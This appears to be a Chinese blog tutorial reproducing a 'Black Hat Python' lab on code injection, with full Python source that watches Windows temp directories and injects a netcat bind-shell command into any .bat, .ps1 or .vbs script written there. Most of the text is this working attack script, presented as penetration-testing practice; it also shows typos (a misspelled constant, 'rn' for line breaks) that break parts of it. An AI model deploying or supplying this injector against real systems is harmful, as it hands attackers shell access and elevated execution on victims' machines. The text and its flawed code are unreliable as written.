python渗透测试入门之代码注入

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》，书中一共24个实验，今天复现第23个实验（ 代码注入），我的测试环境是windows10虚拟机（64位）+conda开发环境+python3.7，这个实验是基于模拟受害服务程序，直接能够弹一个shell出来，如果不基于模拟受害服务程序，双击vbs文件也能达到相同的效果，还有一点需要注意的是下载增强版的nc哦，否则无法反弹shell的哟～

1、先运行文件监控脚本，这个脚本会监控temp目录，并且会对vbs文件进行代码注入，这个vbs文件需要一个进程来启动，才能实现代码注入，如果没有这个模拟受害者服务程序，则可以在temp目录下新建一个vbs文件，然后双击它，达到同样的效果～

2、等待大约1分钟左右，或者双击vbs文件，就可以实现反弹shell，但是需要注意的是，你下载的nc程序，必须支持反弹shell，否则也拿不到shell的～

弱弱的nc，看到下面这个就说明成功了，增强版的nc，可以反弹shell

参考代码：

# -*- coding: utf-8 -*-
# @Time    : 2022/6/28 9:02 PM
# @Author  : ailx10
# @File    : file_monitor.py

import os
import tempfile
import threading
import win32con
import win32file

FILE_CREATED = 1
FILE_DELETeD = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

FILE_LIST_DIRECTORY = 0x0001

NETCAT = 'C:\Users\ailx10\Desktop\netcat-win32-1.12\nc.exe'
CMD = f'{NETCAT} -p 9999 -l -c '

FILE_TYPES = {
    '.bat': ["rnREM bhpmarkerrn", f'rn{CMD}rn'],
    '.ps1': ["rn#bhpmarkerrn", f'rnStart-Process "{CMD}"rn'],
    '.vbs': ["rn'bhpmarkerrn", f'rnCreateObject("Wscript.Shell").Run("{CMD}")rn'],
}

PATHS = ['c:\Windows\Temp', tempfile.gettempdir()]

def inject_code(full_filename, contents, extension):
    if FILE_TYPES[extension][0].strip() in contents:
        return
    
    full_contents = FILE_TYPES[extension][0]
    full_contents += FILE_TYPES[extension][1]
    full_contents += contents
    with open(full_filename, 'w') as f:
        f.write(full_contents)
    print('\o/ Injected Code')

def monitor(path_to_watch):
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETe,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
        )

    while True:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY |
                win32con.FILE_NOTIFY_CHANGE_SIZE,
                None,
                None
            )
            for action, file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)
                if action == FILE_CREATED:
                    print(f'[+] Created {full_filename}')
                   
                elif action == FILE_DELETED:
                    print(f'[-] Deleted {full_filename}')
                    
                elif action == FILE_MODIFIED:
                    print(f'[*] Modified {full_filename}')
                    extension = os.path.splitext(full_filename)[1]
                    if extension in FILE_TYPES:     
                        try:
                            with open(full_filename) as f:
                                contents = f.read()
                            print('[vvv] Dumping contents ... ') 
                            inject_code(full_filename, contents, extension)
                            # print(contents)
                            print('[^^^] Dump complete.')
                        except Exception as e:
                            print(f'[!!!] Dump failed. {e}')
                    
                elif action == FILE_RENAMED_FROM:
                    print(f'[>] Renamed from {full_filename}')
                elif action == FILE_RENAMED_TO:
                    print(f'[<] Renamed to {full_filename}')
                else:
                    print(f'[?] Unknown action on {full_filename}')
        except KeyboardInterrupt:
            break
    
        except Exception:
            pass
    


if __name__ == '__main__':
    for path in PATHS:
        monitor_thread = threading.Thread(target=monitor, args=(path,))
        monitor_thread.start()